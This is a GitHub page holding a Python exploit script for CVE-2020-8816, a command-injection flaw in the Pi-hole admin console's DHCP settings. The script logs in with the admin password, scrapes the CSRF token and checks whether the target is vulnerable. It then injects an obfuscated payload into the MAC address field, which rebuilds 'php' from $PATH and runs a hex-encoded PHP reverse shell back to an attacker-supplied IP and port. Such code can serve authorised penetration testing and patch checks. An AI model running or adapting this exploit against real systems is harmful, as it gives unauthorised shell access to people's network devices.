-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathCVE-2020-8816.py
More file actions
145 lines (133 loc) · 5.09 KB
/
CVE-2020-8816.py
File metadata and controls
145 lines (133 loc) · 5.09 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
import argparse
import codecs
import re
import requests
import socket
import uuid
from packaging import version
def login(session, url, password):
print('Logging in...')
login_error = 'After installing Pi-hole for the first time'
data = {'pw': password}
try:
login_response = session.post(url+'/admin/index.php?login', data=data)
except requests.exceptions.ConnectionError:
exit('Unable to connect to server')
if login_error in login_response.text:
print('Login failed')
return False
else:
print('Login succeeded')
return True
def grab_version(session, url):
try:
response = session.get(url+'/admin/')
except requests.exceptions.ConnectionError:
exit('Unable to connect to server')
try:
version = response.text.split('Web Interface Version </b>')[1].split('<b>')[0].strip()
return version
except IndexError:
# default to returning a vulnerable version so the script attempts an exploit
return 'v4.3.2'
def get_token(session, url):
try:
response = session.get(url+'/admin/settings.php?tab=piholedhcp')
except:
exit('Unable to connect to server')
try:
return response.text.split('token\' hidden>')[1].split('</div>')[0]
except IndexError:
exit('Unable to retrieve CSRF token')
def add_dhcp(session, url, payload, token):
data = {'AddMAC': payload,
'AddIP': '',
'AddHostname': str(uuid.uuid4()),
'addstatic': '',
'field': 'DHCP',
'token': token}
try:
return session.post(url+'/admin/settings.php?tab=piholedhcp', data=data).text
except requests.exceptions.ConnectionError:
exit('Unable to connect to server')
def is_vulnerable(session, url, password):
print('Attempting to verify if Pi-hole version is vulnerable')
if version.parse(grab_version(session, url)) > version.parse('v4.3.2'):
return (False, False)
else:
if not login(session, url, password):
exit(-1)
print('Grabbing CSRF token')
token = get_token(session, url)
print('Attempting to read $PATH')
test = add_dhcp(session, url, 'aaaaaaaaaaaa$PATH', token)
if '/opt/pihole' in test:
return (True, True, token)
elif 'AAAAAAAAAAAA/' in test:
return (True, False)
else:
return (False, False)
def exploit(session, url, payload, token):
w = 'W=${PATH#/???/}'
p = 'P=${W%%?????:*}'
x = 'X=${PATH#/???/??}'
h = 'H=${X%%???:*}'
z = 'Z=${PATH#*:/??}'
r = 'R=${Z%%/*}'
hex_payload = ''.join(codecs.encode(c.encode(), 'hex').decode('utf-8').upper() for c in payload)
injection = '&&' + w + '&&' + p + '&&' + x + '&&' + h + '&&' + z + '&&' + r + '&&$P$H$P$IFS-$R$IFS\'EXEC(HEX2BIN("' + hex_payload + '"));\'#'
print('Sending payload')
add_dhcp(session, url, 'bbbbbbbbbbbb' + injection, token)
def is_valid_url(url):
url_regex = re.compile(r'^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)$')
if url_regex.match(url) != None:
return True
else:
return False
def is_valid_ipv4_address(address):
try:
socket.inet_pton(socket.AF_INET, address)
except AttributeError:
try:
socket.inet_aton(address)
except socket.error:
return False
return address.count('.') == 3
except socket.error:
return False
return True
def is_valid_ipv6_address(address):
try:
socket.inet_pton(socket.AF_INET6, address)
except socket.error:
return False
return True
def is_valid_port(port):
try:
return 1 <= int(port) <= 65535
except ValueError:
return False
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Receive a reverse shell on a Pi-hole with access to the admin web console')
parser.add_argument('url', metavar='url', type=str, help='The URL of the Pi-hole console')
parser.add_argument('pw', metavar='password', type=str, help='The admin password for the Pi-hole console')
parser.add_argument('ip', metavar='ip', type=str, help='The IP address for the reverse shell to connect to')
parser.add_argument('port', metavar='port', type=str, help='The port for the reverse shell to connect to')
args = parser.parse_args()
if not is_valid_url(args.url):
exit('Invalid URL')
elif not is_valid_ipv4_address(args.ip) and not is_valid_ipv6_address(args.ip):
exit('Invalid IP')
elif not is_valid_port(args.port):
exit('Invalid port')
shell = 'php -r \'$sock=fsockopen("' + args.ip + '",' + args.port + ');exec("/bin/sh -i <&3 >&3 2>&3");\''
s = requests.Session()
test = is_vulnerable(s, args.url, args.pw)
if test[0]:
if test[1]:
print('Pihole is vulnerable and served\'s $PATH allows PHP')
exploit(s, args.url, shell, test[2])
else:
print('Pihole is vulnerable but can\'t build PHP from server\'s $PATH for RCE :(')
else:
print('Pihole isn\'t vulnerable :(')